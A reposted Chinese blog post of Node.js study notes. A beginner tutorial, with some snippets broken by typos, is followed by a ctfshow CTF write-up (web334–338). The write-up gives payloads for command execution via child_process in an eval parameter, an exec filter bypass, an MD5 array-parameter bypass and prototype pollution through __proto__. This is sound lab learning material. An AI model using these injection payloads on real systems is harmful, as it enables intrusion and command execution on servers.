ctfshow-nodejs

nodejs基础

全局对象

console.log("hello world")

//console就是全局变量,不需要导入
//每隔两秒输出

setTimeout(function(){
    
    
    console.log("3 seconds have passed");
}, 2000);
//6秒后清除

var time = 0;

var timer = setInterval(function() {
    
    
    time +=2;
    console.log(time+"seconds have passed")
    if (time >5) {
    
    
        clearInterval(timer);
    }
}, 2000);
//输出当前目录

console.log(__dirname)

函数

//定义sayHi函数输出Hi

function sayHi() {
    
    
    console.log("Hi");
}

sayHi();
//回调函数

function callFunction(fun) {
    
    
    fun();
}


function sayBay() {
    
    
    console.log("Bye")
}


callFunction(sayBay);
function callFunction(fun,name) {
    
    
    fun(name);
}


var sayBye = function(name) {
    
    
    console.log(name + "Bye");
}


callFunction(sayBye,'xxh');

模块

//count.js



var counter = function(arr) {
    
    
    return "There are" + arr.length + "elements in the array";
}

var adder = function(a,b) {
    
    
    return `the sum of the 2 numbers is ${
      
      a+b}`;
}

var pi = 3.14;

module.exports.counter = counter;

module.exports.adder = adder;

module.exports.pi = pi;
//hello.js


var stuff = require('./count');
console.log(stuff.counter(['ruby','nodejs','react']));
console.log(stuff.adder(3.2));
console.log(stuff.pi);

事件

var events = require('events');

var myEmitter = new events.EventEmitter();

myEmitter.on('someEvent',function(message) {
    
    
    console.log(message);
})

myEmitter.emit('someEvent','the evnet was emitted');

var events = require('events');
var util = require('util');

var Person = function(name) {
    
    
    this.name = name
}

util.inherits(Person, events.EvetEmitter);

var xiaoming = new Person('xiaoming');
var lili = new Person('lili');
var lucy = new Person('lucy');

var person = [xiaoming, lili, lucy];

person.forEach(function(person) {
    
    
    person.on('speak', function(message) {
    
    
        console.log(person.name + "said:" + message)
    })
})

xiaoming.emit('speak', 'hi');
lucy.emit('speak','I want a curry');

读写文件

//读取count.js里的内容

var fs = require('fs');
var readMe = fs.readFileSync("count.js","utf8");
console.log(readMe)
//读取count.js里的内容并把内容写到wirteMe.txt中

var fs = require('fs');

var readMe = fs.readFileSync("count.js","utf8");

fs.writeFileSync("writeMe.txt",readMe)

创建和删除目录

//删除writeMe.txt

var fs = require('fs');

fs.unlink("writeMe.txt", function(){
    
    
    console.log("delete writeMe.txt file");
})

fs.unlinkSync
//创建

var fs = require('fs');

fs.mkdirSync('stuff');
//创建复制一个文件


var fs = require('fs');

fs.mkdir('stuff', function() {
    
    
    fs.readFile('readeMe.txt', 'utf8',function(err,data) {
    
    
        fs.writeFile('./stuff/writeMe.txt',data, function(){
    
    
            console.log('copy successfully');
        })
    })
})

流和管道

var fs = require('fs');

var myReadStream = fs.createWriteStream(__dirname+'/writeMe.txt','utf8')

myReadStream.on('data', function(chunk) {
    
    
    console.log('new chunk received');
    console.log(chunk);
})
var fs = require('fs');

var myReadStream = fs.createWriteStream(__dirname+'/writeMe.txt','utf8')

var data=""

myReadStream.on('data', function(chunk) {
    
    
    datat += chunk
})
myReadStream.on('end', function(){
    
    
    console.log(data)
})

web服务器

part 1

//创建一个服务器

var http = require('http')

var server = http.createServer(function(request,response){
    
    
    console.log('Request received')
    response.writeHead(200,{
    
    'Content-Type': 'text/plain'})
    response.write('Hello from out application');
    response.end();
})
server.listen(3000);
console.log('启动成功');

//访问3000端口

part 2响应JSON


var http = require('http')

var onRequest = function(request, response) {
    
    
    console.log('Request received');
    response.writeHead(200, {
    
    'Content-Type': 'application/json'});

    var myObj = {
    
    
        name:"xxh2022",
        job:"programmer",
        age:27
    };
    response.end(JSON.stringify(myObj));
}

var sever = http.createServer(onRequest);
sever.listen(3000);
console.log('123');


//输出{"name":"xxh2022","job":"programmer","age":27}

part 3响应html页面

var http = require('http')
var fs = require('fs');

var onRequest = function(request, response) {
    
    
    console.log('Request received');
    response.writeHead(200, {
    
    'Content-Type': 'text/html'});
    var myReadStream = fs.createReadStream(__dirname + '/index.html','uft8')
    myReadStream.pipe(response)
}

var sever = http.createServer(onRequest);

sever.listen(3001);
console.log('123');
#index.html

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>My Website</title>
  </head>
  <body>
    <h1>Welcome to My Website</h1>
    <p>This is the home page for my website.</p>
  </body>
</html>

nodejs的基础漏洞

https://xz.aliyun.com/

web334

附件给了user.js和login.js,user.js告诉了用户名和密码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Clfu7ZrJ-1672311017887)(nodejs.assets/image-20221229133409856.png)]

CTFSHOW123456

在login.js中

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wjCkFrxG-1672311017889)(nodejs.assets/image-20221229133452228.png)]

name不能等于CTFSHOW但有==toUpperCase()==可以将字母的小写转换为大写,所以直接用ctfshow登录就可以得到flag

web335

看源码发现有个/?eval参数想到命令执行,去搜索nodejs的命令执行

https://juejin.cn/post/6844903612842246157

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dc39Yc7C-1672311017889)(nodejs.assets/image-20221229150904622.png)]

需要child_process模块和execexecSync

尝试构造payload

?eval=require('child_process').exec('ls')

但出现

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lslHBnh5-1672311017890)(nodejs.assets/image-20221229151416492.png)]

用execSync构造

?eval=require('child_process').execSync('ls')

成功命令执行

web336

和上一题一样,但上一题的payload不能用了

换一个命令

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GrBjQSld-1672311017891)(nodejs.assets/image-20221229152230374.png)]

?eval=require( 'child_process' ).spawnSync( 'ls', [ '/' ]).stdout.toString()

经过测试,这里是过滤了exec,需要绕过

?eval=require("child_process")['exe'%2B'cSync']('ls')

%2B是+的url

web337

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
    
    
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
    
    
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    
    
  	res.end(flag);
  }else{
    
    
  	res.render('index',{
    
     msg: 'tql'});
  }
  
});

module.exports = router;

给了一个路由,主要是一个if语句

  • a 和 b 都是真值。

  • a 和 b 的长度相等。

  • a 和 b 不相等。

  • md5(a + flag) 等于 md5(b + flag)。

    数组绕过即可

    ?a[]=1&b[]=1
    

web338

题目直接给了源码

看到login.js

关键部分

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-N2THazL9-1672311017891)(nodejs.assets/image-20221229162323234.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7GSHyBvQ-1672311017892)(nodejs.assets/image-20221229162427948.png)]

去找common.js

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yyWMUj8j-1672311017892)(nodejs.assets/image-20221229162455416.png)]

只要满足secert.ctfshow==='36dboy’就可以了,前面有一个copy函数,可以与链接文章里面的merge函数类比.
登录的时候抓包,修改post的内容

这里就是原型链污染,参考:https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript

登录的时候抓包

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MKlL6NBW-1672311017892)(nodejs.assets/image-20221229162727070.png)]

payload

{
    
    "__proto__":{
    
    "ctfshow":"36dboy"}}

猜你喜欢

转载自blog.csdn.net/qq_63928796/article/details/128486434
今日推荐